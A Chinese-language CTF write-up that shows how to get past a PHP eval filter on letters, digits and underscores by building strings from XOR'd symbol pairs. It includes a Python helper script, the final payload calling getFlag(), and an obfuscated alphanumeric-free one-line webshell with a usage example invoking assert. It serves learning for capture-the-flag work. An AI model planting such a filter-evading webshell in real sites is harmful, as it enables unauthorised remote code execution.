这块知识众多大佬们都有分析过了,这里分享下自己的学习心路历程。

0x00 背景

起因是某金融比赛的一道PHP代码审计的CTF题目,题目如下:

<?php
include 'flag.php';
if(isset($_GET['t'])){
    $_COOKIE['bash_token'] = $_GET['t'];
}else{
    die("Token Lost.");
}
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>500){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

这道题的考点

就是如何避开正则检测去执行getFlag()函数。而这里代码最后面,有用到eval这个代码执行函数。

正则表达式/[A-Za-z0-9_]+/是匹配所有大小写字母,数字,和下划线。

0x01 异或运算可以构造任何字母,数字,符号。

就比如要得到字母a,那么有如下组合:

<?php
echo "!" ^ "@";
echo "_" ^ ">";
echo "[" ^ ":";
echo "]" ^ "<";
echo ">" ^ "_";
echo "?" ^ "^";
echo "<" ^ "]";
echo "^" ^ "?";
echo "@" ^ "!";
echo ":" ^ "[";
?>

这里的异或运算是指,可以取每个字符的ASCII,转成二进制再做运算,为了方便,我写了一个脚本,通过查ASCII表的符合和字符的异或,打印出所有可能的组合,不过,这里我的脚本过滤了一些不可打印字符。

#author:Reborn
a_zA_Z0_9_ASCII=range(48,58)+range(65,91)+range(96,123)
a_zA_Z0_9_Plus=range(32,58)+range(65,91)+range(90,127)
SYMBOL_ASCII=range(32,48)+range(58,65)+range(91,97)+range(123,127)

print "[-] Waiting for create the dicts..."
dict_key=[]
dict_value = []

for i in SYMBOL_ASCII:
    for j in SYMBOL_ASCII:
        if i^j in a_zA_Z0_9_Plus:
            dict_key.append((i,j,chr(i),chr(j)))
            dict_value.append(chr(i^j))

dicts=dict(zip(dict_key,dict_value))
print "[+] OK,The dicts is create"

YourStr = "_GET"
print "[-] YourStr is : %s\n"%(YourStr)
for i in YourStr:
    print "============ ",i,"Can following composition ========"
    for k,v in dicts.items():
        if v == "%s"%(i):
            if (k[0] in SYMBOL_ASCII) and (k[1] in SYMBOL_ASCII):
                print '"%s" ^ "%s"'%(k[2],k[3])          

脚本效果如下:

0x02.关于定义变量

解决了字符问题,那回到这道题来。假设没有正则过滤,那么我们可以这么得到flag。

有正则,先尝试构造一个getFlag出来,这里我先假设正则没有过滤下划线_

正则:/[A-Za-z0-9]+/

getFlag是如下组合:

<?php
$_ = "]"^":" ; //g
$_.= "["^">";  //ge
$_.= "^"^"*";  //get
$_.= ";"^"}";  //getF
$_.= "@"^",";  //getFl
$_.= "["^":";  //getFla
$_.= "]"^":";  //getFlag
echo $_;
?>

但是这也太多了是吧,可以这么写:

<?php
$_ = ("]"^":").("["^">").("^"^"*").(";"^"}").("@"^",").("["^":").("]"^":");
echo $_;
?>

也还是很长,其实可以这么写:

<?php
echo "][^;@[]"^":>*},::";
?>

但是发现这样直接利用是不行的

好了,如果没有过滤正则其实还可以这么构造:

code=$_GET[_]();&_=getFlag


那这里其实就是要组合一个_GET,而&_并不会被检测到。
但是这里如何定义变量啊?

再次查了查PHP变量的定义:

  • 变量名只能包含字母数字字符以及下划线(A-z、0-9 和 _ )

我一直也认为,如果没有字母、数字和下划线,那就没办法定义一个新变量了。
其实花括号{}可以用来定义变量,采用如下方式进行构造:

${xxx^ooo}

下面是测试:

<?php

@${"!"^"~"}="this is _ </br>";  //$_
@${"!"^"@"}="this is a </br>";  //$a

echo ${"!"^"~"};
echo ${"!"^"@"};

?>

那开始变换构造我们的语句:

$_="~}>)"^"!:{}";   //GET
${$_}[_]()   // 花括号定义变量,即 ${GET}[_]() ,[_]是获取get请求_参数的值
&_=getFlag //在get请求中传入getFlag,题目并未对_参数做过滤
code=$_=("~}>)"^"!:{}");${$_}[_]();&_=getFlag

很遗憾,题目过滤了下划线:/[A-Za-z0-9_]+/,所有又得换思路了:

code=$_=getFlag;$_();

_ 可以由~!来异或组成。
所以定义$_变量可以这么定义:${"~"^"!"}

于是 getFlag写成"][^;@[]"^":>*},::",我们构造最终payload:

code=${"~"^"!"}="][^;@[]"^":>*},::";${"~"^"!"}();

这道题到这里也就结束了,关于无字母和数字构造PHP代码,你可以用这种方式构造一个bypass的webshell。

0X03 一个一句话木马

<?php
@$_++;
$__=("~}>)"^"!:{}");
${$__}[!$_](${$__}[$_]);
?>

其实上面这个长这样:

<?php
$_GET[0]($_GET[1]);
?>

利用方式:127.0.0.1/b/3.php?0=assert&1=phpinfo();

0X04扩展学习

除了异或,P牛大佬还提出了一个取反的操作。这才是真大佬。

一些不包含数字和字母的webshell | 离别歌 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html